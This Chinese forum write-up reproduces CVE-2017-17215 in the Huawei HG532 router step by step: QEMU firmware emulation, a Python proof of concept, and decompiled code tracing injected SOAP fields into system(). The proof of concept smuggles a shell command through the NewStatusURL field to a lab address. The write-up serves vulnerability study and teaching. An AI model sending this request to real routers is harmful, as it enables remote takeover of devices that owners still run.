问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
经典华为路由器漏洞复现详细分析(包括整个漏洞链)
漏洞分析
本篇文章详细讲述了 华为路由器CVE-2017-17215的漏洞分析全流程,通过逆向分析出虚表来解决没有交叉引用导致漏洞定位困难的问题,以及漏洞url定位等多种在iot分析中会用到的tips
漏洞描述 ---- ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-685f99ce90c3b57184c170e679970009f5924560.png) Huawei HG532 with some customized versions has a remote code execution vulnerability. An authenticated attacker could send malicious packets to port 37215 to launch attacks. Successful exploit could lead to the remote execution of arbitrary code. 华为 HG532 部分定制版本存在远程代码执行漏洞。经过身份验证的攻击者可以向端口 37215 发送恶意数据包以发起攻击。成功利用此漏洞可导致远程执行任意代码. 没有漏洞的具体位置 我们先解包然后进行分析 环境搭建 ---- 固件下载: 通过网盘分享的文件:`router HG532e.rar` 链接: <https://pan.baidu.com/s/1e4UXib76bnNlMz4gBl6sjw> 提取码: sn0w `binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin` ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-b1f8c0f2d3c6bd8ef72a29c84e0f2c08b5132c9b.png) 下载qemu启动虚拟机所需要的“镜像” 这里采用的是内核态模拟 ```bash wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2 wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta ``` 创建虚拟网桥,实现虚拟机内部和Ubuntu的连接 ```bash sudo apt-get install bridge-utils sudo brctl addbr Virbr0 sudo ifconfig Virbr0 192.168.153.1/24 up ``` ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-3e7de4d88b4fb52a6fc68f9b2668717805cd821e.png) 创建tap0接口 并添加网桥 ```bash sudo tunctl -t tap0 sudo ifconfig tap0 192.168.153.11/24 up sudo brctl addif Virbr0 tap0 ``` ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-4eca178adf36b8bd7f2ab4fe8a3f22e4d338fa60.png) 写一个启动脚本`start.sh` ```bash #!/bin/bash sudo qemu-system-mips \ -M malta \ -kernel vmlinux-2.6.32-5-4kc-malta \ -hda debian_squeeze_mips_standard.qcow2 \ -append "root=/dev/sda1 console=tty0" \ -netdev tap,id=tapnet,ifname=tap0,script=no \ -device rtl8139,netdev=tapnet \ -nographic ``` ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-09a1883772fbb19d23110b00924ec956d44bb130.png) 增加一个IP 检测双ping 是否能ping通 ```bash ifconfig eth0 192.168.153.3/24 up ``` ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-db9d70c4730c6967b3622d467fcaabe30f8bba4c.png) 然后把文件系统复制到我们新启动的虚拟机中 ```bash sudo scp -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -r squashfs-root/ root@192.168.153.3:~/ ``` 然后挂载启动 ```bash mount -o bind /dev ./squashfs-root/dev mount -t proc /proc ./squashfs-root/proc chroot squashfs-root sh ``` 这里根据漏洞分析 是要启动`upnp`和`mic`这两个接口。 由于启动`mic`的时候 会把eth0的IP弄没 因此我们通过SSH链接的方式 远程启动 然后利用虚拟机重新启动eth0就可以外部访问了。 ```bash ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa root@192.168.153.3 chroot squashfs-root sh ./bin/upnp ./bin/mic ``` 启动后我们发现 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-ca11da9b4a8e3a59051053aa882df2d5bc995bfc.png) eth0没了 我们重新启动 ```bash ifconfig eth0 192.168.153.3/24 up ``` 在宿主机测试: ```bash nc -vv 192.168.153.3 37215 ``` ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-81e8cbb8ea20646c169f099d3abcecdb69904d62.png) 环境启动成功 漏洞复现 ---- ```python import requests headers = { "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669" } data = '''<?xml version="1.0" ?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"> <NewStatusURL>;mkdir test_shell;</NewStatusURL> <NewDownloadURL>HUAWEIUPNP</NewDownloadURL> </u:Upgrade> </s:Body> </s:Envelope> ''' requests.post('http://192.168.153.3:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data) ``` ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-9ba9d9b02d1fb4b759b4d96718c4b1df2d0692e0.png) 注入成功 漏洞分析 ---- 漏洞首发于CheckPoint,其漏洞报告中描述了漏洞利用的一些细节: 华为家庭网关利用标准化的UPnP协议(基于TR-064技术报告)来简化和无缝连接网络配置,广泛应用于嵌入式设备中。这些设备通常用于家庭和企业的本地网络配置,比如设备配置和固件升级。然而,在目标路由器中,TR-064通过37215端口暴露于WAN。具体到这款路由器,其UPnP实现支持`DeviceUpgrade`服务类型,该服务通过在URL `/ctrlt/DeviceUpgrade_1` 接收请求执行固件升级,并使用`NewStatusURL`和`NewDownloadURL`两个SOAP元素。然而,这两个元素存在命令注入漏洞,导致安全风险。 ### 分析upnp 跟踪"NewStatusURL" 用ida分析发现 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-62055c85167736d18300119eabb7999a8726b3ff.png) 直接看汇编可能不是很能看出来 我们通过ghidra 进行分析 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-5bb896db79352dacfd42d03dfad5a14e8bd61428.png) ```c int FUN_0040749c(int param_1) { int iVar1; char *local_418; char *local_414; char acStack1040 [1028]; iVar1 = ATP_XML_GetChildNodeByName (\*(int *)(param_1 + 0x2c),"NewDownloadURL",(int *)0x0,&local_418); if (((iVar1 == 0) && (local_418 != (char *)0x0)) && (iVar1 = ATP_XML_GetChildNodeByName (\*(int *)(param_1 + 0x2c),"NewStatusURL",(int *)0x0,&local_414), iVar1 == 0)) { if (local_414 != (char *)0x0) { snprintf(acStack1040,0x400,"upg -g -U %s -t \\'1 Firmware Upgrade Image\\' -c upnp -r %s -d -b", local_418,local_414); system(acStack1040); } } return iVar1; } ``` 通过进一步分析源码可以得出 ```c int ATP_XML_GetChildNodeByName(int param_1,char *param_2,int *param_3,int *param_4) { int iVar1; code *pcVar2; int local_28; char *local_24; iVar1 = 0x40090000; if (param_2 != (char *)0x0) { pcVar2 = TSP_XML_GetNodeFirstChild; while (param_1 = (\*pcVar2)(param_1), param_1 != 0) { iVar1 = TSP_XML_GetNodeValue(param_1,0,0,&local_24,&local_28); if (iVar1 != 0) { if (param_4 == (int *)0x0) { return iVar1; } \*param_4 = 0; return iVar1; } if ((local_24 != (char *)0x0) && (iVar1 = strcmp(local_24,param_2), iVar1 == 0)) { if (param_3 != (int *)0x0) { \*param_3 = param_1; } if (param_4 == (int *)0x0) { return 0; } if (local_28 != 0) { FUN_00408540(); } \*param_4 = local_28; return 0; } pcVar2 = TSP_XML_GetNodeNextSibling; } if (param_4 != (int *)0x0) { \*param_4 = 0; } iVar1 = 0x40090004; } return iVar1; } ``` `local_418`是`ATP_XML_GetChildNodeByName`函数获取xml中的`NewDownloadURL`节点内容 `local_414` 是`ATP_XML_GetChildNodeByName`函数获取xml中的`NewStatusURL`节点内容 然后最后拼接到`acStack1040`中进行命令执行,因此我们只要想办法控制`NewDownloadURL`或者`NewStatusURL`其中一个就可以进行命令注入了。 跟进研究看一下漏洞如何触发 参数如何控制 这里的漏洞函数是没有进行调用的 交叉引用没有找到因此我们只能去搜索看看。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-1fdcbc98abcbc2974e2f67fd7edc885a0fa9abc5.png) ```xml <?xml version="1.0"?> <scpd xmlns="urn:schemas-upnp-org:service-1-0"> <specVersion> <major>1</major> <minor>0</minor> </specVersion> <actionList> <action> <name>Upgrade</name> <argumentList> <argument> <name>NewDownloadURL</name> <direction>in</direction> <relatedStateVariable>DownloadURL</relatedStateVariable> </argument> <argument> <name>NewStatusURL</name> <direction>in</direction> <relatedStateVariable>StatusURL</relatedStateVariable> </argument> </argumentList> </action> <action> <name>GetSoftwareVersion</name> <argumentList> <argument> <name>NewSoftwareVersion</name> <direction>out</direction> <relatedStateVariable>SoftwareVersion</relatedStateVariable> </argument> </argumentList> </action> </actionList> <serviceStateTable> <stateVariable sendEvents="no"> <name>DownloadURL</name> <dataType>string</dataType> </stateVariable> <stateVariable sendEvents="no"> <name>StatusURL</name> <dataType>string</dataType> </stateVariable> <stateVariable sendEvents="no"> <name>SoftwareVersion</name> <dataType>string</dataType> </stateVariable> </serviceStateTable> </scpd> ``` 然后去跟踪`DevUpg.xml` ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-cd09d0eb8c4dbb31e5709364cea383262d20f8e1.png) 发现这个函数对`ATP_UPnP_RegDevice`函数和`ATP_UPnP_RegService`函数有大量的调用,猜测这个函数可能主要用于开启一些交互服务。 继续跟进: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-a65c8479d099fbfba40e1c13c7e5c7050ff87a7e.png) `g_astActionArray`全局变量修复后: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-354f2d9862c2189a1950c82ded65a76738020c58.png) 这是一个虚表这里面存在我们的漏洞函数 因此我们继续跟进。 发现这个虚表还会被`UPnPGetActionByName`调用。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-235c37f14f7cd985dea6b720620a52efe31788ac.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-45973f2c0ebee46e658c670f139e17930a4757f6.png) 取值并调用返回函数 因此就找到调用漏洞函数的位置 那么如何取触发呢?进一步分析发现: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-f8f83c5fbaf99479d711b6ee20621eee8d506188.png) 可以看到有一个路径检测。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-39e3873b133b60aeed270e1cd0719b08c4dd5838.png) 通过测试接口可以测试出路径然后整个的漏洞流程就分析完了。可以通过流量抓包改写 来修改`exp` 心得与体会 ----- 这算是笔者第一次复现华为路由器的漏洞,网上的复现文章很多,但讲的不是很详细,可能是觉得太简单没必要讲吧,但对于像我这种新手小白来说,像无法交叉引用的情况找漏洞位置和虚表,还有就是遇到无法反编译的情况用ghidra或者ida修复等过程 都是我需要学习的,因此我写下这篇文章帮助刚入iot的师傅更好的理解。
发表于 2025-01-15 10:03:13
阅读 ( 1478 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
请先
登录
后评论
sn1w
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!